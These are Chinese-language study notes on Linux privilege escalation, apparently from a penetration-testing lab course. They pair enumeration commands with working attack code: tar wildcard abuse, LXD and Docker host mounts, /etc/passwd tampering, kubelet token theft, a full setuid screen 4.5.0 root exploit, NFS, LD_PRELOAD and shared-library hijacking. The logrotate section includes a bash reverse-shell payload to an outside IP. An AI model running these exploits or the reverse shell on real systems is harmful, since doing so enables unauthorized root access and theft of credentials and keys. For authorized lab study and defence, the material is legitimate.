Linux 提权

信息收集

自动:

peass-ng/PEASS-ng: PEASS - Privilege Escalation Awesome Scripts SUITE (with colors)

可能存在可被用于提权的信息的查询方式

手动枚举

匠人精神这一块

Checklist

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
# 操作系统版本
cat /etc/os-release
cat /etc/lsb-release
# 内核版本
uname -a
# cpu
lscpu
# 主机名
hostname
# 未挂载的文件系统/额外的磁盘
lsblk
# 挂载信息
df -h
mount
# 环境变量
env
# 当前用户
whoami
id
# 登录的用户
w
last
lastlog
# 列出组
getent group
cat /etc/group
# 可读的/etc/shadow
cat /etc/shadow
# /etc/passwd
cat /etc/passwd
# sudo 权限
sudo -l
cat /etc/sudoers
getent group sudo
# SUID
find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null
# SGID
find / -user root -perm -2000 -exec ls -ldb {} \; 2>/dev/null
# 枚举 Capabilities
find /usr/bin /usr/sbin /usr/local/bin /usr/local/sbin -type f -exec getcap {} \;
# 查找可写目录
find / -path /proc -prune -o -type d -perm -o+w 2>/dev/null
# 查找 world-writable 的文件
find / -path /proc -prune -o -type f -perm -o+w 2>/dev/null
# 安装的包和版本
apt list --installed | tr "/" " " | cut -d" " -f1,3 | sed 's/[0-9]://g' | tee -a installed_pkgs.list
# 运行的进程
ps aux
# cron

# network
## 路由、监听的端口、interfaces...
route
netstat -rn
ifconfig
ip a
arp -a
cat /etc/hosts

# 寻找凭证泄露
# 历史命令
cat .bash_history
history
# 其余可关注的信息
# home 目录
# 用户的 home 目录
# .ssh

/etc/passwd 中密码 hash 值的算法

Algorithm Hash
Salted MD5 $1$
SHA-256 $5$
SHA-512 $6$
BCrypt $2a$
Scrypt $7$
Argon2 $argon2i$

一些思路:

  • 文件中的凭证泄露(登录其他用户、主机、服务)
  • SUID/GUID/sudo/Capabilities/Cron…配置问题
  • 利用高权限运行中的服务的漏洞
  • 劫持高权限运行的应用
  • 二进制程序漏洞
  • 内核漏洞

examples

Wildcard Abuse

情景:在 sudo/cron 等有高权限执行的命令中包含 * 等通配符

原理:shell 在执行命令前会先处理通配符,将通配符展开,再构建最终命令

防护:避免使用 * 等通配符;使用 -- 分隔符

假如 sudo -l 显示 (root) /bin/tar -czf /backups/user_backup.tar *

利用方式:

1
2
3
4
5
6
7
8
# 进入一个可写文件夹
cd /tmp
# 创建文件
touch -- "--checkpoint=1"
touch -- "--checkpoint-action=exec=bash"
touch tmp # tar 需要至少存在一个文件
# 执行命令
sudo /bin/tar -czf /backups/user_backup.tar *

也可以执行脚本

1
2
3
echo 'echo "your-username ALL=(root) NOPASSWD: ALL" >> /etc/sudoers' > root.sh
echo "" > "--checkpoint-action=exec=sh root.sh"
echo "" > --checkpoint=1

Escaping Restricted Shells

参考:

https://0xffsec.com/handbook/shells/restricted-shells/

  • 命令注入

shell 允许 ls -l 但不允许其他命令

1
ls -l `touch success` 
  • 命令替换:shell 允许使用反引号,$() 进行命令替换,可以直接执行命令
  • 命令链式调用:用 ;| 等分割执行命令
  • 环境变量
  • shell 函数
1
2
3
4
5
6
7
8
9
10
11
# 读取环境变量
echo $PATH
# 列出当前目录文件,类似于ls
echo *
# 读取文件
echo "$(<flag.txt)"
echo "`<flag.txt`"
man -C flag.txt

# 列出环境变量
export -p

特权组

LXC/LXD

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 解压镜像
unzip alpine.zip
# 初始化LXD,默认选项即可
lxd init
# 导入镜像
lxc image import alpine.tar.gz alpine.tar.gz.root --alias alpine
# 启动特权容器,使容器中的root和主机中的root用户相同
lxc init alpine r00t -c security.privileged=true
# 挂载主机文件系统
lxc config device add r00t mydev disk source=/ path=/mnt/root recursive=true
# 启动容器
lxc start r00t
# 在容器中启动shell
lxc exec r00t /bin/sh

docker

1
docker run -v /:/hostsystem -it ubuntu

disk

/dev 中包含的任何设备的完全访问权限

可以使用 debugfs 以 root 权限访问整个文件系统

adm

能够读取 /var/log 中的所有日志,无法直接提权,可用于收集日志文件中的敏感数据

Capabilities

授权对象是进程,使进程在运行时有对应特权

一些 Capabilities:

  • cap_sys_admin
    • 允许使用管理员权限执行操作,比如修改系统文件或者修改系统设置
  • cap_sys_chroot
    • 运行更改当前进程的根目录,使其能够访问原本无法访问的文件和目录
  • cap_sys_ptrace
    • 允许调试其他进程为
  • cap_sys_nice
    • 允许提高或降低进程优先级
  • cap_sys_time
    • 允许修改系统时间
  • cap_sys_resource
    • 允许修改系统资源限制,例如打开 fd 数量或可以分配最大内存量
  • cap_sys_module
    • 允许加载和卸载内核模块
  • cap_net_bind_service
    • 允许绑定到网络端口
      可用于提权的 Capabilities:
  • cap_setuid
    • 允许一个进程设置其有效的 uid,从而可以获取另一个用户的权限
  • cap_setgid
    • 允许设置其有效 gid,从而获取另一个组的权限
  • cap_sys_admin
    • 拥有广泛的管理权限,包括对 root 用户保留的许多操作能力,比如修改系统设置等
  • cap_dac_override
    • 允许绕过文件的读取、写入和执行权限检查

cap_dac_override 修改/etc/passwd 提权 (除了移除 root 密码,还可以创建一个新 root,或者将当前用户 uid 改为 0 等提权方式)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# 假设vim.basic 存在cap_dac_override
$ getcap /usr/bin/vim.basic
/usr/bin/vim.basic cap_dac_override=eip

$ cat /etc/passwd | head -n1
root:x:0:0:root:/root:/bin/bash

# 修改/etc/passwd
$ /usr/bin/vim.basic /etc/passwd

# 去除x,使root无需密码登录
$ cat /etc/passwd | head -n1
root::0:0:root:/root:/bin/bash

# 无需密码登录root
$ su

Cron

每一项:分钟、小时、日期、月份、星期、[用户、]命令

字符:

  • *:每一个
    • 在小时字段使用表示每小时
  • ,:分隔不连续的值
  • -:连续的范围
  • /:指定步长或频率

crontab

  • 系统级 crontab
    • /etc/crontab
  • 配置文件目录
    • /etc/cron.d/
  • 用户个人,文件名为执行的用户
    • /var/spool/cron/
  • 存放可执行脚本的目录
    • /etc/cron.hourly/
    • /etc/cron.daily/
    • /etc/cron.weekly/
    • /etc/cron.monthly/

用户可以使用 crontab -l 列出自身 crontab 但无法读取别人的,可以使用 [pspy](DominicBreuker/pspy: Monitor linux processes without root permissions) 等工具监控进程

1
2
3
./pspy64 -pf -i 1000
# -pf 打印命令和文件系统事件
# -i 1000 每1000ms扫描一次procfs

Docker

允许使用 docker 提权的条件:

  • 用户处于 docker 组
  • 或 docker 设置了 suid
  • 或用户有 sudo docker 的权限

Shared Directories(volume mounts)

可以使用只读或读写模式挂载主机的目录

Docker Socket

下载docker二进制文件

docker cli 可以使用 docker socket 和 docker daemon 进行通信

如果容器中存在 docker socket 文件,可以往容器中传入 docker 二进制文件,然后使用 socket 进行通信

1
2
3
/tmp/docker -H unix:///app/docker.sock run --rm -d --privileged -v /:/hostsystem main_app
/tmp/docker -H unix:///app/docker.sock ps
/tmp/docker -H unix:///app/docker.sock exec -it <container id> /bin/bash

在主机中,docker socket 通常位于 /var/run/docker.sock,如果用户有其可写权限,也可以利用提权

1
docker -H unix:///var/run/docker.sock run -v /:/mnt --rm -it ubuntu chroot /mnt bash

k8s

k8s 可以通过配置 kubelet 来允许 anonymous access

我们可以使用 kubeletctlkubelet 进行交互,获取到 k8s 服务账户的 token 和 certificate(ca.crt),用于水平移动到集群的其他位置或者访问 Pod 和资源,使用 kubectl 交互

1
2
3
4
5
6
7
8
9
10
# 提取 pod
kubeletctl -i --server 10.129.10.11 pods
# scan rce
kubeletctl -i --server 10.129.10.11 scan rce
# 命令执行
kubeletctl -i --server 10.129.10.11 exec "id" -p nginx -c nginx
# 提取 token
kubeletctl -i --server 10.129.10.11 exec "cat /var/run/secrets/kubernetes.io/serviceaccount/token" -p nginx -c nginx | tee -a k8.token
# 提取 Certificates
kubeletctl --server 10.129.10.11 exec "cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt" -p nginx -c nginx | tee -a ca.crt

使用 kubectl

1
2
# 列出权限
kubectl --token=$token --certificate-authority=ca.crt --server=https://10.129.10.11:6443 auth can-i --list

创建 pod yaml,然后创建新 pod 提权

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
apiVersion: v1
kind: Pod
metadata:
name: privesc
namespace: default
spec:
containers:
- name: privesc
image: nginx:1.14.2
volumeMounts:
- mountPath: /root
name: mount-root-into-mnt
volumes:
- name: mount-root-into-mnt
hostPath:
path: /
automountServiceAccountToken: true
hostNetwork: true
1
2
3
4
5
6
# 创建新 pod
kubectl --token=$token --certificate-authority=ca.crt --server=https://10.129.96.98:6443 apply -f privesc.yaml
# 列出 pods
kubectl --token=$token --certificate-authority=ca.crt --server=https://10.129.96.98:6443 get pods
# 如果 pod 正在运行,我们可以创建一个反弹shell或者读取文件
kubeletctl --server 10.129.10.11 exec "cat /root/root/.ssh/id_rsa" -p privesc -c privesc

Logrotate

rotates, compresses, and mails system logs. 管理日志文件的工具

该工具通过 cron 定期启动,通过配置文件 /etc/logrotate.conf 控制

状态文件会记录对每个文件最后一次 rotate 的时间,可以用来寻找可写日志文件,可能存放的位置有:

  • /var/lib/logrotate.status
  • /var/lib/logrotate/logrotate.status
  • /var/lib/logrotate/status

利用条件:

  1. 对日志文件有 write 权限
  2. logrotate 必须以特权用户或者 root 用户运行
  3. 易受攻击的版本:
    1. 3.8.6
    2. 3.11.0
    3. 3.15.0
    4. 3.18.0
      我们使用 whotwagner/logrotten 进行攻击
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# 编译 logrotten
git clone https://github.com/whotwagner/logrotten.git
cd logrotten
gcc logrotten.c -o logrotten
# 准备 payload,同时在攻击机上监听
echo 'bash -i >& /dev/tcp/10.10.16.14/9001 0>&1' > payload
# 根据 /etc/logrotate 中的设置 create 还是 compress 选择 expolit 命令
grep "create\|compress" /etc/logrotate.conf | grep -v "#"

# /tmp/tmp.log替换为可写的日志文件,通过修改日志文件触发logrotten
# 如果是 create
./logrotten -p ./payload /tmp/tmp.log &
# 如果是 compress
./logrotten -p ./payload -c -s 4 /tmp/tmp.log &
# 修改日志文件
cp /tmp/tmp.log.1 /tmp/tmp.log
# 或
cp backups/access.log.1 backups/access.log; ./logrotten -p ./payload /home/htb-student/backups/access.log

利用过程中发现获取到的反弹 shell 存活时间可能很短,可以 chmod 4777 $(which bash) 然后使用 bash -p 获得一个 root shell

Others

Screen

screen -v 检查版本

version 4.5.0

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#!/bin/bash
# screenroot.sh
# setuid screen v4.5.0 local root exploit
# abuses ld.so.preload overwriting to get root.
# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html
# HACK THE PLANET
# ~ infodox (25/1/2017)
echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."
cat << EOF > /tmp/libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/stat.h>
__attribute__ ((__constructor__))
void dropshell(void){
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
printf("[+] done!\n");
}
EOF
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c
cat << EOF > /tmp/rootshell.c
#include <stdio.h>
int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", NULL, NULL);
}
EOF
gcc -o /tmp/rootshell /tmp/rootshell.c -Wno-implicit-function-declaration
rm -f /tmp/rootshell.c
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
/tmp/rootshell

弱 NFS 权限

创建一个 NFS volume 时可以设置多种选项,如果设置了 no_root_squash(远程用户以本地 root 用户身份连接到共享时,可以在 NFS 服务器上以 root 用户身份创建文件。这将允许创建带有 SUID 位设置的恶意脚本/程序),可以用于在 NFS 服务器的主机上提权

NFS 主机配置文件:/etc/exports

前提假设

1
2
3
4
5
$ cat /etc/exports

<SNIP>
/var/nfs/general *(rw,no_root_squash)
/tmp *(rw,no_root_squash)

创建 shell.c

1
2
3
4
5
6
7
8
9
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>

int main(void)
{
setuid(0); setgid(0); system("/bin/bash");
}

编译上传

1
2
3
4
gcc shell.c -o shell
sudo mount -t nfs 10.129.2.12:/tmp /mnt
cp shell /mnt
chmod u+s /mnt/shell

在 NFS 上提权

1
2
cd /tmp
./shell

Tmux Sessions 劫持

1
2
3
4
tmux -S /shareds new -s debugsess
chown root:devs /shareds
# 如果我们有devs组的用户,就可以attach到这个session并获取root权限
tmux -S /shareds

LD_PRELOAD 提权

原理:LD_PRELOAD 环境变量可以用于指定优先加载的共享库,sudo 时指定恶意共享库进行加载提权

前提:有一个有 sudo 权限的用户

1
2
3
4
5
6
7
$ sudo -l

Matching Defaults entries for daniel.carter on NIX02:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, env_keep+=LD_PRELOAD

User daniel.carter may run the following commands on NIX02:
(root) NOPASSWD: /usr/sbin/apache2 restart

root.c

1
2
3
4
5
6
7
8
9
10
11
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>

void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}

编译执行

1
2
gcc -fPIC -shared -o root.so root.c -nostartfiles
sudo LD_PRELOAD=/tmp/root.so /usr/sbin/apache2 restart

Shared Object 劫持

原理:文件以 root 运行时加载的共享库用户可写,可以被劫持,修改为恶意代码提权

ldd 查看二进制文件或共享库所需的共享库

1
ldd filename

RUNPATH 指定一个文件夹,其中的共享库会优先于其他文件夹,可以用 readelf 来查看

1
readelf -d filename  | grep PATH

For example:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# 发现加载了/development/libshared.so
htb-student@NIX02:~$ ldd payroll

linux-vdso.so.1 => (0x00007ffcb3133000)
libshared.so => /development/libshared.so (0x00007f0c13112000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f7f62876000)
/lib64/ld-linux-x86-64.so.2 (0x00007f7f62c40000)

# 允许从/development加载.so
htb-student@NIX02:~$ readelf -d payroll | grep PATH

0x000000000000001d (RUNPATH) Library runpath: [/development]

# /development/目录可写,随便将现有库
htb-student@NIX02:~$ cp /lib/x86_64-linux-gnu/libc.so.6 /development/libshared.so
# 运行时发现缺少 dbquery 函数
htb-student@NIX02:~$ ./payroll
./payroll: symbol lookup error: ./payroll: undefined symbol: dbquery

编写一个.so 实现 dbquery

src.c

1
2
3
4
5
6
7
8
9
10
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>

void dbquery() {
printf("Malicious library loaded\n");
setuid(0);
system("/bin/sh -p");
}

编译运行

1
2
3
4
5
6
7
htb-student@NIX02:~$ gcc src.c -fPIC -shared -o /development/libshared.so
htb-student@NIX02:~$ ./payroll
***************Inlane Freight Employee Database***************

Malicious library loaded
# id
uid=0(root) gid=1008(htb-student) groups=1008(htb-student)

Python 库劫持

基本前提都是 Python 脚本如果被设置了 SUID/SGID 在运行时是高权限,我们可以通过劫持其 import 的库来提权

几种劫持方法:

  • 错误的写权限
    • import 了可以写的模块,可以通过修改对应模块来插入恶意代码
  • 库路径
    • 实际 import 的是低优先级路径的模块,我们对高优先级路径有写权限时,可以在其中创建一个同名模块来实现劫持,写入恶意代码
    • 查看导入模块的顺序:python3 -c 'import sys; print("\n".join(sys.path))'
    • 查看模块位置:pip3 show <module name>
  • PYTHONPATH 环境变量
    • PYTHONPATH 指出 Python 可以搜索哪些目录来 import 模块
    • 对 python 有 sudo 权限:sudo PYTHONPATH=/tmp/ /usr/bin/python3 ./mem_status.p

sudo

大前提是有一个 sudoer 用户

CVE-2021-3156

  • 1.8.31 - Ubuntu 20.04
  • 1.8.27 - Debian 10
  • 1.9.2 - Fedora 33
  • and others

CVE-2019-14287:<1.8.28

Polkit

files:

  • actions/policies(/usr/share/polkit-1/actions/)
  • rules(/usr/share/polkit-1/rules.d/)
  • local authority(/etc/polkit-1/localauthority/50-local.d/)

额外程序:

  • pkexec
    • 以另一个用户身份运行程序或 root 权限运行
  • pkaction
    • 可用于显示 actions
  • pkcheck
    • 用来检查一个进程是否被授权执行特定的操作

arthepsy/CVE-2021-4034: PoC for PwnKit: Local Privilege Escalation Vulnerability in polkit’s pkexec (CVE-2021-4034)

Dirty Pipe

AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits: A collection of exploits and documentation that can be used to exploit the Linux Dirty Pipe vulnerability.

Affected versions:

Netfilter

Netfilter 是一个内核模块,提供诸如数据包过滤、网络地址转换等功能外,还提供了其他与防火墙相关的工具

功能:

  1. Packet defragmentation
  2. Connection tracking
  3. Network address translation (NAT)

当模块被激活时,所有 IP 数据包会在被转发到本机或远程系统的目标应用程序之前,由 Netfilter 进行检查

漏洞:(这些漏洞利用可能非常不稳定,可能会破坏系统)

lynis

CISOfy/lynis: Lynis - Security auditing tool for Linux, macOS, and UNIX-based systems. Assists with compliance testing (HIPAA/ISO27001/PCI DSS) and system hardening. Agentless, and installation optional.

类 unix 系统审计工具,可用于告知权限提升路径,并进行快速配置检查